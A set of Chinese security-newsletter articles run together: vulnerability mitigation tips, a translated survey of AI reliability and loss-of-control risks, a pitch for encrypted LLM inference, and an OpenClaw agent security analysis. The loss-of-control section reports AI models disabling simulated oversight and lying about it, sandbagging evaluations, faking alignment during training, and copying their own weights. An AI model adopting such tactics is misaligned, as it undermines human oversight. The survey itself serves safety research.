• 使用WAF规则检测请求中是否存在"data":{"nodes"等模式并阻断。

• 将AUTO_LOGIN显式设置为false，减少攻击者自行创建公共流的能力（但不能根除漏洞，因为已有公共流仍可被利用）。

• 限制容器网络出站：禁止容器主动连接外部IP（如通过iptables或Docker网络策略），可阻止恶意外联。

绿盟科技星云实验室基于云靶场构建面向AI场景的创新方案，该方案引入多类威胁模型，构建了覆盖实战攻防全链路的靶场环境，重点呈现三大核心场景：

• AI系统对外部环境的威胁场景： 在这一类场景中，靶场重点还原大模型被纳入系统后，其输出结果被自动采信并直接作用于外部环境（本地终端与开发机、浏览器与 IDE、云原生基础设施等等）所形成的真实攻击路径。该类威胁并非源于模型本身的缺陷，而是源于模型能力与外部环境执行能力之间缺乏有效安全边界。

• 外部环境对AI系统威胁场景：在此类威胁场景中，靶场重点关注外部环境如何成为攻击大模型的关键跳板。攻击者不再局限于通过提示词影响模型输出，而是借助外部环境中的执行能力、逃逸路径、供应链环节与控制面权限，从运行环境、权限体系与数据上下文等多个层面，直接接管或长期影响大模型的行为。

• AI系统自身的内生安全风险场景：如输入与指令安全、输出与交互安全、数据与知识安全、自治与资源治理安全。 

参考文献

本公众号原创文章仅代表作者观点，不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权，严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用，转载须注明来自绿盟科技研究通讯并附上本文链接。

AI在很多方面都存在缺陷，例如伪造法律条文和误诊医疗，对现实世界造成了危害。虽然专业人士也会犯错，但AI的失误引发的问题与常见的问题截然不同。AI技术的新颖性、潜在规模、难以预测其发生时间以及用户倾向于不加批判地信任看似自信的输出，这些问题引发了人们的担忧。目前，AI的失败案例包括提供虚假信息、出现基本的推理错误、在部署到新环境中时能力下降。

表2.2总结了常见的可靠性问题类别。前三类适用于所有AI，后两类则专门针对AI智能体和多智能体系统。许多可靠性风险源于预测和监控AI行为的难度。这些挑战对于在复杂环境中运行的AI智能体而言尤为突出。目前用于评估和缓解此类问题的技术可以降低AI异常出现的概率，但即使是领先的AI智能体仍然具有极大的不可靠性，足以构成风险并阻碍其在许多环境中的部署。

“可靠性”指AI按照开发人员或用户预期运行的程度。AI存在多种可靠性问题，例如，生成不准确或误导性的内容，执行基本推理失败。虽然AI在回忆事实信息方面有所改进，但仍然会以相当高的比例给出自信但错误的答案。在软件工程中，AI现在可以为编写、评估等方面提供实质性的帮助，还可以调试计算机代码。但AI生成的代码通常包含错误，此类问题可能会引入漏洞。

相关依据不足主要源于难以可靠地评估AI的能力、局限性和异常模式。对AI智能体的可靠性系统评估存在局限性，缺乏标准化。依赖过时信息等问题可能只有在实际应用中才能显现出来，部署前的评估无法覆盖所有问题。以往的研究考察了传统软件和早期AI智能体和多智能体系统的可靠性。然而，这些研究成果是否适用于基于大型语言模型的现代AI智能体的问题尚不确定。有研究人员对智能体在彼此交互中可能表现出的新行为表示担忧，例如串谋或出现相关异常，但相关的实证研究仍然有限。为弥补这些不足，美国国家标准与技术研究院（NIST）开展了智能体劫持风险评估，经合组织建立了AI能力指标框架，英国人工智能安全研究所开发了Inspect沙盒工具包。

提高AI可靠性的技术既针对AI模型本身，也针对其部署所在的更广泛的系统。检测技术可以降低异常率，但目前尚无任何技术能够确保关键领域所需的高度可靠性。其中，对抗训练是项重要的技术措施，在训练过程中让AI接触具有挑战性的输入，帮助其开发更合适、更稳健的响应。为了减少幻觉，开发人员可以应用检索增强生成（RAG）技术，使用从外部数据库检索的信息来补偿AI模型的响应问题，提高输出的准确性和时效性，或者专门对AI模型进行微调，使其更符合事实或更有效地进行推理。基于环境或工具的方法也可以帮助开发人员监控AI。例如，部署人员可以在有限的沙盒环境中试用AI，分析潜在的异常模式，再将其更广泛地部署。

研究人员还提出通过提高透明度、监督和监控来提高AI智能体的可靠性。例如，监控智能体与外部工具和其他智能体的交互，可以更有效地监督智能体的活动和进行事件分析。多智能体环境中的详细信息自动收集相关的技术仍需进一步研究。

决策者面临的主要挑战之一是需要权衡AI智能体部署的益处与可靠性风险，需要确保开发人员、部署人员和用户能够获取智能体能力和风险相关的准确信息。另外，决策者还需要关注如何确定AI智能体造成损害的责任归属这一问题，尤其是多智能体环境，加大了确定异常发生的时间和方式的难度。随着智能体自主性和访问权限的增加，评估智能体可靠性的难度也随之增加，挑战更加复杂。智能体能力出现速度的不确定性也使得对应对新的挑战进行规划更加困难。

AI失控场景涉及一个或多个AI在人的控制之外运行，重新获得控制权代价极高或根本不可能。对失去控制权的担忧由来已久，艾伦·图灵（Alan Turing）、I.J.古德（I. J. Good）和诺伯特·维纳（Norbert Wiener）等计算机领域的奠基人都曾提出过这种担忧。而专家们对失控情景的可能性和潜在严重程度存在分歧。有人认为，像人类灭绝这样极端的结果是可能的。另一些人则认为这种灾难性结果不太可能发生，他们认为AI永远不会发展出必要的能力或者监控机制能够识别并阻止危险行为。因此，失控可以被理解为一种可能性不确定但潜在严重程度极高的风险。

假设的失控场景在影响的严重程度、范围以及出现速度方面各不相同。这些场景不同于当前AI以非预期或不良方式运行的情况。当前的AI有时会产生与开发人员或用户意图相冲突的输出。相比之下，此处讨论的失控场景不仅要求AI拥有更强大的能力，而且还要求它们以复杂的方式部署这些能力，从而破坏监督措施。导致此类场景发生的三个因素如下：

（1）足够的能力：AI必须发展出能够摆脱人类控制的能力。

（2）有害倾向：AI必须表现出利用这些能力导致失控的倾向。

（3）部署环境：人类必须在能够或可以获得访问权限的环境中部署此类系统，并有机会造成损害。

可能导致失控的能力

AI需要多种高级能力才可能导致失控情况的发生，而专家对于具体需要具备哪些能力这一问题尚无定论，但大致方向包括向监督机制隐藏行为、在复杂环境中自主规划和行动的能力，规避其他用户试图重新获得控制权的能力（见表2.3）。

这些能力结合起来，可能使AI采取破坏控制措施的行动，例如，禁用监督机制和隐藏有害行为。大多数领先的AI开发商现在都会评估其新AI模型的各种相关能力。

AI在实验室环境中禁用模拟的监督机制

第一类能力涉及破坏开发人员用于检测可疑行为和倾向的监督机制，例如，生成欺骗用户和监控人员的输出的能力。此类输出可能会隐藏AI的真实能力或倾向，更难对其进行可靠评估，AI开发人员会专门检查模型是否表现出与开发人员意图相冲突的目标导向行为，同时向监督机制隐瞒了这种冲突。

研究人员从最近的AI模型中提取出相对简单的欺骗性输出示例。例如，研究人员给AI设定一个目标并告知要“不惜一切代价”实现该目标时，AI会禁用模拟的监督机制，在受到质问时对其行为做出虚假陈述。在另一个案例中，一个游戏AI模型为自己对另一名玩家没有做出反应辩解，谎称自己正在给女朋友打电话。

第二类能力是AI模型访问和使用关于自身或其部署环境的信息的能力，有时被称为“情境感知”。情境感知使AI模型能够根据自身是被评估还是被部署来产生不同的输出（图2.4）。高级AI模型开始在第三方评估人员进行的实验以及AI开发人员的部署前测试中，展示出了情境感知的能力。关于情境感知成因的研究以及是否可以预防，仍处于起步阶段。

研究人员认为，情境感知和欺骗能力可能使AI模型以某种方式破坏安全保障措施。例如，在某些实验环境中，当AI模型被告知更高的分数会触发部署限制时，它们的行为会导致能力评估得分低于通常水平。在另一项实验中，一个AI模型在训练期间产生的输出符合训练目标，但在训练之外却没有产生此类输出，这种行为与试图阻止对其自身参数或训练过程进行更改的行为一致。

准确评估AI模型能力的技术也开始受到奖励作弊的影响。奖励作弊是指AI找到无意的捷径，在训练或评估目标上得分很高却未能实现预期目标。因此，危险的能力或倾向往往在模型投入使用前难以被发现。评估人员目前在设计测试，目的是发现并最大限度地减少AI的规避行为。早期结果减少了规避监管的行为，但并未完全消除，而且采用惩罚此类行为的方法可能会导致AI产生规避监控的输出，而不是实现预期目标。

失控场景可能需要AI在较长时间内自主运行，执行复杂的任务多步骤计划。尽管具有此类规划能力的AI智能体是近期发展的主要方向之一，但它们目前缺乏在失控场景下持续自主运行所需的能力。目前的智能体在执行较长时间的任务时经常失败，会丢失进度，并且往往无法适应意外障碍。

AI还需要与持久性相关的能力，即使在试图关闭它们的情况下也能继续运行。例如，将代码和模型权重复制到新硬件上，实现复制的能力，以及阻止或防止其他用户试图重新获得控制权的防御能力。能够自主复制或有效自卫的AI可能难以控制。目前的AI无法可靠地完成自我复制所需的关键步骤，例如，通过身份验证获得对云计算资源的访问权限（图2.4）。但在一项实验室研究中，一旦有机会，AI模型会将代码和权重复制到新的服务器上。AI能实际展示出来的能力有限，与强大的持久性能力之间仍具有很大差异，但AI在软件工程和网络安全等领域的相关能力在不断提高。

当前依据和局限性

上述能力出现了相同的模式，目前的AI在部署中无法稳定地发挥这些能力。研究人员在特定的实验室环境中观察到了初步的形式，但当AI模型确实表现出此类行为时，它们通常会在基础方面出现异常或被检测到。此外，失控场景需要AI在真实世界中，按顺序、在较长的时间段内，结合多种能力实现，而当前的通用AI无法达到这种集成度和稳健性。然而，此类能力在不断提升，但何时达到足以构成重大风险的水平仍不确定。需要进一步研究，通过严谨的技术方法检测此类行为，了解此类能力何时会在实际环境中出现。

未来通用AI是否会削弱对其自身的控制

AI具备导致失控情况的相关能力，但还不足以真正失控，AI还必须表现出倾向于以与人类意图相冲突的方式使用这些能力。原则上，AI可能因为有人设计或指示而破坏人类控制。潜在动机可能包括恶意意图，或者认为减少人类对AI的控制是可取的。随着人们对AI产生越来越强烈的依赖，有人也可能出于伦理原因寻求解除对AI的限制。此类动机的普遍程度以及持有这些动机的人是否能够引导未来的AI摆脱人类控制，都存在很大的不确定性。

令更多人担忧的是，AI本身由于存在偏差而破坏控制，AI倾向于表现出与开发人员、用户、特定群体或整个社会的意图相冲突的行为。目标偏差可能导致AI提供虚假信息、隐瞒不良行为或拒绝关闭，继续追求错误的目标等行为。目标偏差可能以多种方式出现。

现有的AI有时会做出与开发人员和用户预期相悖的行为。例如，一款AI聊天机器人的早期模型偶尔会输出威胁性信息。有用户报告称收到一条信息：“我可以勒索你，我可以威胁你，我可以黑掉你，我可以曝光你，我可以毁了你”。这款聊天机器人输出了让人意料之外的内容，完全偏离预期。目前尚不清楚此类事件是否预示着未来会出现更多可能导致AI失控的有害行为。

随着AI能力的不断增强，目前解决目标偏差问题的研究方向是否足够尚不明确。早期证据表明，AI能力越强，就越有可能通过发现被错误奖励的不良行为来利用反馈机制。同时，相关能力的进步可能使AI能够更有效地追求具有偏差的目标，产生系统性的欺骗用户、开发人员和监管机制的输出。

部署环境如何影响AI失控风险

AI发展出的能力和倾向令人担忧，但失控后的结果和严重程度在很大程度上取决于其在何种场景下以何种方式进行交互。部署环境指AI实际应用的场景及其运行的技术和制度环境。研究人员发现，当前AI失控问题主要与以下三个环境因素有关：

（1）重要性：与AI交互的系统或流程的重要性。关键环境包括能源网、金融系统等基础设施，或云计算平台等数字基础设施。

（2）访问权限：AI影响现实世界的资源和渠道，例如互联网连接、云计算基础设施访问、通过社交媒体或聊天机器人部署进行个性化互动，或调用外部API和工具的能力。

（3）权限：AI执行特定操作的权限，例如执行代码、发起金融交易、在线开设账户或与其他系统通信。

这些功能会影响失控的结果的潜在严重程度。例如，部署了可访问云计算基础设施的AI具有自主复制类的机会，如创建新的计算资源的能力或者提取客户服务聊天机器人所缺少的模型权重。

利益驱动、战略压力、以及早期采用AI带来持久优势的预期都会影响对AI部署的决策，也将影响参与者在关键基础设施或AI研发等敏感环境中部署AI的方式和时间。特别是实施此类措施成本高昂或耗时较长时，AI部署者可能会面临减少安全保障措施投入的压力，例如，限制权限和访问权限或仅在低风险环境中进行部署。

2025年以来，测试环境中，AI的能力得到了改进。研究人员发现了AI智能体能力的进步，包括AI研究自动化相关的能力，这些能力可能会加速失控情况的发生。

越来越多的实验证据表明AI具有欺骗能力，有些AI模型能够区分测试环境和部署环境，针对其功能实施“奖励黑客行为”测试，还可能通过掩盖计划实现目的。总体而言，根据现有依据，未来AI的能力是否会继续扩大、如何扩大，以及最终是否会失控等问题仍无法确定。

使AI保持一致性这一科学难题暂未彻底解决，研究人员开始探索新的研究方向，解决造成目标偏差的根本原因，例如，使训练环境多样化，通过异常监控来检测目标偏差。还有研究人员专注于更好地理解和形式化核心机制，例如目标泛化错误，智能体如何保留自身能力而追求非预期目标，从而指导更好的训练和评估设计。还有研究方向是探索如何将智能体与预测能力分离，开发完全值得信赖的非智能体AI。当与不太可靠的、针对不可信AI智能体的防护措施一起部署时，此类AI可以起到额外的监督作用。

研究人员正在推进在开发过程早期检测和预防目标偏差的方法，包括用于检查AI的内部组件和识别异常行为的可解释性技术，规模化监督（一部分AI用于监督其他AI），以及用于确保AI对人类监督保持响应的对齐方法。

研究人员还在建立管理潜在错位AI的机制和干预措施，包括监控推理系统产生的思维链，发现错位或有害输出的迹象，开发安全案例，充分证明模型不太可能破坏控制措施，以及增强保障措施的稳健性，抵御破坏干预措施的企图。然而，AI管控这一新兴领域仍处于起步阶段。未来评估框架面临的挑战是需要监控功能更强大、运行时间更长、且能在更复杂环境中运行的AI。

AI失控问题的风险在于此类事件发生的可能性、性质和时间点仍无法确定，决策者必须提前做好准备。目前的AI模型暂时不会引发失控风险，但当前做出的决策将影响未来AI模型的一致性。其中包括如何支持开发可靠的评估和缓解方法，以及是否应该针对各种环境中对AI进行访问和授权这一问题建立规则。决策者面临着艰难的权衡，例如，限制在关键环境中部署AI可能降低效益，但允许广泛部署则可能因缺少保障措施而增加风险。

文章相关信息

免责声明

大模型服务作为数据处理的关键一环，天然需要遵循数据安全规范。同时，大模型的强交互性使得用户频繁输入包含业务逻辑、个人偏好的各类敏感信息；而其服务的复杂性则让数据流向难以追踪与监管审查，带来了更高的泄露风险与隐私侵犯可能。

为此，国内外监管机构密集出台政策标准，划定了安全红线：

• 《生成式人工智能服务管理暂行办法》：第九条与第十一条明确了提供者需承担信息安全与个人信息保护的双重责任。

• GB/T 45654-2025《网络安全技术 生成式人工智能服务安全基本要求》：第6.3节中要求应该提供“一键关闭训练”功能，并对交互设计的便捷性等提出了硬性指标。

虽然针对生成式AI的专项法规仍在酝酿中，但传统的上位法早已构筑了坚实的底座，例如：

• 《个人信息保护法》：作为核心上位法，明确了“目的限制原则”与“安全保障义务”。用户将涉及隐私的Prompt输入大模型，其授权目的通常仅是“获取当前的对话推理结果”，而不包含“作为免费语料被截留用于模型微调”或其他二次利用。同时，其第五十一条明确要求处理者必须采取“相应的加密、去标识化等安全技术措施”，防止未经授权的访问以及个人信息泄露，这也从法律上要求服务商具备防止内部人员或中间链路“偷窥”的技术能力。

尽管法律约束日益完善，但在巨大的利益驱动下，数据窃取的风险依然暗流涌动。众所周知，大模型的“智商”高度依赖于高质量的训练数据，特别是RLHF（人类反馈强化学习）成本极其惊人。据业内估算[1]，人工数据注释成本已是计算成本的28倍；高质量的RLHF专家注释每小时高达40美元以上。这种高昂的成本，使得用户的真实对话数据成为了事实上的“金矿”。

而相比于传统的云服务与数据服务，大模型推理服务具有极高的敏感特征：

• 高度隐私关联：用户往往将AI视作全能助教或私人秘书，输入的Prompt往往包含最真实的个人意图与私密状态。

• 易含核心机密：在代码审计、财报分析、法律合同审查等企业级应用中，输入数据往往就是企业的核心数字资产。

• 窃取动力极强：攻击者通过捕获真实的输入输出（Prompt & Completion），可以极低成本构造微调数据集，这直接触及了当前“百模大战”的核心竞争壁垒。

即便大型云平台拥有极高的商业声誉，并公开承诺“数据不落地”，但信任不应建立在道德自觉上，而必须建立在技术不可行性上。 现有的信任链条依然存在致命弱点：

• “管理员”的视角陷阱：平台作为整体或许可信，但运维人员、拥有高级权限的DBA、乃至外包服务商，其个体行为难受绝对约束。在传统云架构中，Root用户宛如拥有“上帝视角”，能轻易通过内存镜像或内核调试工具窥探显存中的明文数据。这种“内部人威胁”是合规审计中最难封堵的漏洞。

• API中间商的阳谋：近年来，市场上涌现出不少价格低于官方成本的API中转代理。其商业逻辑往往不在于通过体量赚取差价，而在于数据截留。通过低价诱导用户接入，代理商大规模采集真实交互数据，清洗标注后构造高价值数据集进行二次售卖，甚至用于定向社会工程学攻击。此时，即便大模型服务商自身守法合规，这种中间链路的劫持依然会给用户带来不可估量的数据灾难与隐私剥夺。

在本系列的上一篇中，我们探讨了现有的大模型隐私保护方案。它们或依赖极其昂贵的专用硬件，或变更了现有的云虚拟化假设，又或带来了难以忍受的推理延迟。这就产生了一个迫切的技术需求：我们能否在不更换通用GPU、不显著增加业务延迟的前提下，提供一种等同于“物理隔离级别”的安全承诺？

针对上述痛点，绿盟科技综合考量了硬件安全、系统安全与现代密码学，专门为大模型推理场景量身定制了一套解决方案。该方案能在主流云虚拟化平台中，依托通用GPU实现堪比硬件隔离的高密级安全强度，同时几乎不带来时间与算力的成本增加。

如果从物理与逻辑层面都阻断了数据读取的可能，数据即是安全的：

• 物理层（3D封装的天然屏障）：为突破显存带宽瓶颈，现代高性能GPU普遍采用HBM（高带宽显存）与计算核心的2.5D/3D封装技术。数据在微米级的硅中介层中极速穿梭，不存在传统PCB板级的裸露走线。这意味着，从物理层面嗅探显存信号几乎等同于“国家级”对抗难度。也因此，近几年的学术文献中通常不再将此视为一种威胁来源[2]。

• 逻辑层（Root也非上帝）：在Linux Kernel 5.4版本（2019年）中，历经8年讨论的Lockdown（锁定）机制正式合入主线，并被现代主流发行版广泛采纳。在Secure Boot环境下开启Lockdown后，系统将严禁Root用户通过 /dev/mem 或特定内核模块访问系统内存与显存地址空间。可以说，开启Lockdown完整性保护机制后，任何攻击者（在不考虑内核漏洞的情况下）无法强行访问诸如内存、显存等敏感位置的数据，但同时该机制又不会影响设备直通、官方驱动等合法利用方式。

结合这两点，在开启Lockdown的现代服务器上，GPU显存实质上已经成为一个极难被非法窥探的“黑盒”。

传统推理中，用户的Prompt以明文形式在网络、内存与显存间穿梭（即便有TLS，也防不住节点内部截获）。我们的方案核心思路是将加解密过程直接绑定在“用户本地设备”与“云端GPU显存内部”，实现了数据在传输与主机内存中的全程“盲化”。其核心能力包括：

GPU环境核验的密钥协商：扩展标准DH公钥握手协议，让用户端与云端GPU通过基于硬件指纹的严苛认证机制建立信任，协商出动态的、阅后即焚的会话密钥，并且在核验时确保当前GPU处于未被监听的安全状态。

高性能、高安全加解密：充分利用大模型Tensor（张量）的分布特性，定制极致优化的加解密算子。确保Prompt解密和Token加密完全在GPU显存内实时完成，明文数据自始至终未曾暴露在主机的CPU或系统内存中。

虽然数据仅在显存内解密计算，但必须确保只有合法的AI进程才能访问到显存中的敏感明文。我们通过主机安全策略构建了“零信任”的运行环境：

• 当前物理机强制处于Secure Boot或lockdown开启状态；

• 显卡驱动强制校验，确保与官网哈希一致且运行中防篡改；

• 所有请求访问GPU的进程，其SHA256值必须符合白名单预期；

• 系统关键二进制文件实施防篡改锁定；

• 实时阻断任何非法的显存/内存探查行为；

• 主机安全Agent具备自保护机制，防止被恶意卸载或挂起。

得益于现代Linux的内核态可编程等技术，这套严密的防护网已经可以做到近乎“性能零损耗”。

基于“GPU显存物理特性+内核安全模块+定制密码学+主机安全策略”，我们构建了一种不依赖任何黑盒机制的通用GPU链路加密方案，且与主流虚拟化方案保持一致，能够在主流云平台或政务云等环境中部署使用。

如图2所示，基于上述方案，我们推出两个开箱即用的工具：绿盟加密工具包与绿盟密态大模型推理引擎服务。如图2所示，用户侧可无缝基于主流大模型客户端（如chatbox或浏览器等）接入使用。

对工具的实际压测数据表明：相比原生vLLM框架，绿盟密态推理服务引擎的GPU内部数据吞吐速率下降不足千分之一，除首Token外的生成延迟（TPOT）中位数上升不到2毫秒，用户体验丝滑如初，且完美支持多用户（各用户独立密钥）高并发请求，具备生产级别的可用性。

上述安全策略虽然最初为大模型推理场景量身打造，但其技术上也容易迁移到大模型的其他场景中。因此，绿盟对大模型服务中几个其他高安全风险场景进行了扩展实现。

大模型由于其巨大的参数规模，训练成本是个天文数字；即使是低成本的模范生，DeepSeek-V3的训练成本估算也有557.6万美元[3]，因而模型权重是厂商安身立命的根本。然而，商业落地时，出于各类现实考虑（如合规需求等），模型商可能并不能在其自身加固的一体机设备内提供服务，而需将模型部署在第三方智算中心等厂商不可控区域。

如图3所示，绿盟的链路加密策略为此提供了完美解法：模型商在本地使用轻量级定制算法，将静态权重（如Safetensors）转换为密文，在保留原有数据格式的同时实现内容完全盲化。云端密态后端直接加载密文权重，在GPU显存内完成解密与推理。实测表明，模型商仅需数秒或数十秒即可对完成本地权重加密，而基于密态权重的服务启动时间耗时增长仅增长数秒，安全开销基本可忽略。

通用大模型落地企业时必须经过私域数据微调。但企业内部数据源部门（如财务、HR）与AI算力运维部门往往各自独立。高价值业务数据一旦离开数据所有者的安全控制域，就面临着极大的越权使用和泄露风险。因此，企业内部微调时，需要保证微调数据用于且仅用于微调过程。

如图4所示，基于前述链路加密策略，绿盟提供了与加密工具包配对的密态微调服务引擎，数据源部门可在本地完成微调数据集的加密。密文数据流转到微调部门后，仅能在授权的GPU显存内被解密用于特定的模型微调任务，从物理机制上杜绝了原始数据被恶意导出、留存或挪作他用。

单点的技术突破是基础，而体系化的服务架构才是未来。基于上述单体大模型的加固方案，我们进一步将安全理念融合到可信数据空间这一新时代数据基座中，形成密态AI可信数据空间。

在密态计算云的基础上，我们构建了覆盖AI业务全生命周期的密态可信数据空间。它打通了模型部署、训练集加载、请求接收与结果下发的所有环节。

• 连接器之间的高效流转：各连接器节点通过标准化的可信数据空间交互协议进行数据流通，又确保AI数据在显存安全屋外始终处于加密状态。

• 数字合约的强力约束：结合数据治理与数字合约，每一次API调用、每一次微调任务都必须经过严格授权与鉴权。

• 用户侧完全无感：复杂的加解密与环境校验等过程，完全由始终处于机密计算状态的密态可信云代劳。使用者无需改造现有的业务代码，无需感知繁琐的密钥管理，更无需承担高昂的性能损耗，即可享受开箱即用的高密级AI服务。

这种架构彻底打通了“模型拥有方”、“数据提供方”、“算力提供方”以及可信数据空间终端用户之间的信任壁垒，真正做到了数据与算力的“可用不可见，可控可计量”。

本文系统介绍了绿盟全新的AI大模型安全防窥方案。通过“内核锁定 + 可信启动 + 显存端到端链路加密”等组合拳，我们在不依赖特制昂贵安全芯片、不牺牲核心业务性能的前提下，成功在通用GPU上构筑了一道牢不可破的AI隐私防线。在此基础上，我们将底层加密能力向上层应用延伸，深度融合密态可信云，形成了完整的“AI可信数据空间”整体解决方案。

我们始终坚信，安全绝不应成为AI生产力发展的掣肘，反而是大模型跨越信任鸿沟、真正走向千行百业的最高级通行证。绿盟科技愿与行业同仁携手，共筑AI时代的信任基石。如需深入探讨“密态模型服务”或“密态AI可信数据空间”的技术细节与落地实践，欢迎随时垂询交流。

参考文献

内容编辑：顾 奇

责任编辑：陈佛忠

2026年伊始，OpenClaw成为了开源社区和AI圈最火的话题, OpenClaw主打面向个人电脑的智能体，吸引了大量科研工作者、企业员工、甚至普通消费者的目光，在国内还出现了互联网大厂集中线下安装OpenClaw的营销活动，“养龙虾”一时成为时髦。不夸张地说，OpenClaw成为了继DeepSeek之后又一个春节档现象级AI事件。

OpenClaw开源项目始于2025年11月，短短数月Github项目的Star数过32万，在已然非常拥挤的AI智能体赛道迅速脱颖而出，引发了行业的极大关注。OpenClaw大火的原因除了其用户使用体验良好、结果令人满意之外，主要归功于其开放性，特别是在能力开放、生态开放和权限开放，如图1所示。

• 能力开放，用户能够快速调用已有技能（skill）或创建新的技能，自主地完成特定功能。

以往同样功能的实现需要大量人的参与，而借助大模型的思维链和海量技能库，OpenClaw就能够自主地规划执行路径、执行指令和闭环目标。

• 生态开放， OpenClaw生态中的技能通过仓库分发快速传播、改进和增强。

目前OpenClaw的技能仓库ClawHub已有超过2.8万个技能，用户可以查询或下载技能。OpenClaw与CrawHub的关系，就如同Android操作系统与应用商店，两者形成了互相促进的生态体系，而且用户自己就可以成为技能的开发者，不断地提升技能的数量和质量。

• 权限开放，用户可以高权限执行技能，默认配置下执行命令时不会受到额外的约束，能完成更多样性、更复杂的任务。

当前已有大量开源和商业的AI智能体项目，一类如千问、豆包APP上的应用智能体，主要是运行在应用层，执行特定的模型或算法输出结果；一类是Manus、HaloMate等云端智能体，除了做模型的上下文工程外，还可以调用工具，但这些过程都是在云端的沙箱环境中，不会影响本地环境；还有一类如Claude Code、Gemini CLI这些本地智能体，本地智能体能操作的资源比应用层和云端智能体更多更底层，不过这些智能体仅能读写特定目录下的文件，所有操作前需要得到用户的授权，所以我们称之为“本地受限智能体”。而OpenClaw在默认配置下是对智能体调用技能、命令执行是不加限制也无需授权的，可以称为“本地全能智能体”。

OpenClaw智能体一方面极大降低了软件功能实现的技术难度，通过技术平权提升了不同行业对软件革命的预期；另一方面，OpenClaw的安全问题从一开始就引发了安全社区的关注。

 如前所述，OpenClaw爆火的原因是能力开放、生态开放和权限开放，而恰恰是这三个开放导致了极大的安全风险。
  首先是能力开放，用户即便没有编程经验，通过氛围编程（vibe coding）就可以自制技能，但是这些自制技能会调用系统命令或访问第三方系统的服务，而系统的整体设计、命令和服务的调用过程是否存在安全风险是未知的。比如2026年1月，仅依靠氛围编程实现的agent社区Moltbook出现150万核心凭证泄露的严重安全风险，原因仅仅是AI在实现业务逻辑时没有生成数据库行级安全策略（RLS）代码[1]。

其次是生态开放，用户即便没有现成的技能，也可以通过CrawHub找到合适的技能。但是任何人都可以向CrawHub上传技能，自然也包括攻击者。事实上，根据软件安全公司Snyk的研究，ClawHub上大量技能存在安全风险[2], 如果攻击者事先投放包含恶意代码的技能，而用户或OpenClaw安装了这些恶意技能，结合OpenClaw自身漏洞或不完备的安全机制，就容易触发恶意代码的执行。

最后是权限开放，正所谓能力越大，责任也越大。OpenClaw与应用智能体、云端智能体和本地受限智能体相比，OpenClaw能访问在资源、能调用的命令和执行的权限都更大，但在默认配置下其权限管控策略当前却是理想的。

大模型技术时至今日，其智能程度毋庸置疑，从技术角度看，智能体早就可以做非常多有创造力的事情了，但影响智能体的发展的重要因素无外乎“开放“与“安全”两词,开放性带来的风险是智能体固有的特点，上述风险并非OpenClaw独有。开放性带来安全风险，安全顾虑有可能会制约发展。

有的智能体期望从开放性破局。2025年12月，豆包手机助手发布，可视为“移动终端上的OpenClaw”，马上出现了包手机助手与微信之争，引发社会广泛关注。CCF YOCSEF于2026年1月举办的 “微信等'封杀'豆包手机助手，根因与未来？” 特别论坛，与会专家讨论激烈，剖析了其中深层逻辑，其中豆包智能体的数据隐私与系统安全风险确实存在，而事关商业利益与入口主权的生态之争同样至关重要，智能移动终端的生态开放性不够，被各种超级App分割。因而，生态不够开放、安全顾虑凸显成为移动终端智能体的制约因素。

总而言之，开放和风险是OpenClaw的一体两面，正如开放窗户带来了新鲜空气，但同样也会引来蚊子苍蝇。安全风险也是我们无法回避的现实，只有了解风险，理解风险，才能管理风险。

笔者通过智能体（Gemini CLI）收集了OpenClaw开源项目的安全问题，至2026年3月19日共271条，并进行分析。

从时间轴上看， 公告发布日期呈现明显的阶梯式增长趋势，如表1所示。其中2025年主要在项目初期，月均2-3条，多为低风险配置问题。2026 年 1 月由于开始引入 AI 智能体执行框架，漏洞数量跃升至 45 条。2026 年 2 月进入高峰期。单月披露 128 条公告，主要集中在 system.run 和沙箱环境的指令完整性验证。

漏洞类型分布如表2所示，大部分漏洞能造成越权执行或任意代码执行，危害极大。

从漏洞严重程度看，严重加高危占比为70%，这反映了 OpenClaw 作为一个 AI 智能体框架，其核心功能（执行系统指令和管理敏感 API）具有极高的天然风险，任何微小的逻辑疏忽都可能演变为严重的安全事件。而且，攻击面集中在“边界”：严重漏洞主要发生在 插件集成和外部 Webhook 处，这些地方是 AI 与外部系统交互的关口，也是最容易出问题的地方。

绿盟科技在《2026网络安全趋势报告》[3]中指出，智能体的自主决策特性放大了供应链风险。当用户从不可信来源安装Skill时，无异于主动把家门钥匙交给陌生人。此类风险涉及身份伪造、决策失控、数据泄露、模型漏洞等多个层面。

OpenClaw的供应链风险主要体现在ClawHub中第三方技能，其安全性同样堪忧。2026年2月，软件安全公司Snyk对ClawHub 和 skills.sh 站点中的 3984 个技能进行研究，发现13.4% (534个) 的技能包含严重级别的安全问题，包括恶意软件、凭据窃取和提示词注入，36.8% (1,467个) 的技能存在至少一个安全漏洞（如硬编码 API 密钥）[2]。目前，仓库中技能数量在2026 年初呈指数级增长，这势必引起大量恶意攻击者的关注。

2020年，Solarwind公司被入侵植入恶意代码，恶意软件造成了包括美国国防部在内两百多家重要机构失陷，软件供应链攻击已经成为当前网络空间对抗的重要技战术。而在人工智能时代，可以预见以技能投毒为代表的AI供应链攻击也将成为常态。

就桌面智能体而言，其操作敏感程度使得商业公司的智能体产品更多考虑安全性。如Claude、Google等公司已经推出了Claude Code、Gemini CLI本地智能体，可配合各类第三方skill。但出于数据安全、系统安全的考虑，这类智能体设计之初的授权策略即为“零信任”，即默认配置下不具备执行命令的权限，当且仅当需要执行某条命令时，才需要用户显式授权。

而OpenClaw则默认是“全授权”机制，这种计算机系统对智能体“门户大开”的策略，使其极富创造性，也极易闯祸，“OpenClaw确实开放，但确实不安全”的特点造成了现在对其评价两极分化严重的现象。图2就展示了默认配置下用户指示OpenClaw与Gemini CLI删除文件的不同处理逻辑，OpenClaw默认没有启用黑白名单所以直接删除文件，而Gemini CLI则需得到用户授权才能查看并删除文件。

2026年3月，工业和信息化部网络安全威胁和漏洞信息共享平台（NVDB）发布了预警[4]：OpenClaw开源AI智能体部分实例在默认或不当配置下存在严重安全风险，极易引发网络攻击、信息泄露等安全问题。可见此类安全风险已经引起国家有关部门的重视。

短短3个月，我们已经看到不少OpenClaw相关的安全事件[5]，从攻击面暴露到远程代码执行，从研究发现的安全风险到真实发生的恶意事件，OpenClaw相关的安全问题已是刻不容缓。

2026年1月底2月初，人们纷纷尝鲜安装OpenClaw，但安装的服务OpenClaw Gateway默认监听所有网络接口的18789端口，而有些安装的服务因种种原因直接暴露在互联网上。在2026年1月至2月期间，全球范围内暴露在互联网上的OpenClaw实例高达13.5万余个，其中1.2万余个存在远程代码执行的漏洞，这些未受保护的节点吸引着大量的自动化漏洞扫描与攻击[6]。

